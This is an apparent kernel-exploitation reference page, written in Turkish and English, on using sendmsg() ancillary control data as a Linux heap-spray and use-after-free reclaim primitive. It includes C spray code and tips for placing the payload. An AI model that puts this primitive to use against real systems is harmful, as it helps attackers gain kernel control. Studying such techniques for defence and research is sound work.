sendmsg ancillary data spray¶
sendmsg()'in control-message (ancillary data) path'ini kullanarak attacker'ın seçtiği boyut ve içerikte bir kmalloc allocation yap; bir kernel heap-spray / UAF-reclaim primitive olarak.
Mechanism¶
sendmsg(), msg_control ve msg_controllen ile tanımlanan opsiyonel out-of-band control data'sı (struct cmsghdr / SCM ancillary data) taşır. Kernel bu control buffer'ı, boyutu user'ın sağladığı msg_controllen'e eşit, yeni allocate edilmiş bir kernel buffer'ına kopyalar.
Note
___sys_sendmsg() içinde, ctl_len küçük on-stack buffer'ı aştığında kernel ctl_buf = sock_kmalloc(sk, ctl_len, GFP_KERNEL) yapar — yani attacker'ın seçtiği boyutta bir kmalloc(ctl_len, ...), eşleşen kmalloc-N cache'ine düşer — ardından copy_from_user(ctl_buf, msg_control, ctl_len) onu attacker'ın seçtiği byte'larla doldurur. Bu ideal bir slab-spray / reclaim primitive'idir: bir cache'i hedeflemek için msg_controllen'i seç, free edilmiş bir victim object'in üzerine bindirmek için buffer'ı doldur.
Allocation sock_sendmsg() süresi boyunca yaşar; blocking bir socket ile attacker onu bir UAF race'i kazanmak için gereken sürece kadar resident tutabilir.
Walkthrough¶
Bir control message aracılığıyla kmalloc-N'i kontrollü byte'larla spray'le:
char ctl[256]; // becomes the kernel allocation
struct cmsghdr *c = (void*)ctl;
c->cmsg_len = sizeof(ctl); // total control length -> kmalloc size
c->cmsg_level = SOL_TCP; // anything != SOL_SOCKET so __scm_send skips it
c->cmsg_type = 0;
memset(ctl + sizeof(*c), 0x41, sizeof(ctl) - sizeof(*c)); // controlled payload
struct msghdr m = { .msg_control = ctl, .msg_controllen = sizeof(ctl) };
struct iovec iov = { .iov_base = "x", .iov_len = 1 };
m.msg_iov = &iov; m.msg_iovlen = 1;
for (int i = 0; i < 256; i++) sendmsg(fd, &m, 0); // spray
Beklenen sonuç: her çağrı 0x41 ile doldurulmuş sizeof(ctl)-byte'lık bir kernel buffer allocate eder ve o boyuttaki free edilmiş slot'ları reclaim eder.
Warning
Baştaki 16 byte cmsghdr header'ı tarafından tüketilir, dolayısıyla bu spray hedef object'in ilk 16 byte'ını kontrol edemez — baştaki pointer'ının spray'lenmesi gereken object'ler için işe yaramaz. Ayrıca sysctl_optmem_max (/proc/sys/net/core/optmem_max) ile de sınırlıdır. __scm_send()'in data'yı tüketmemesi/parse etmemesi için SOL_SOCKET dışında bir cmsg_level kullan.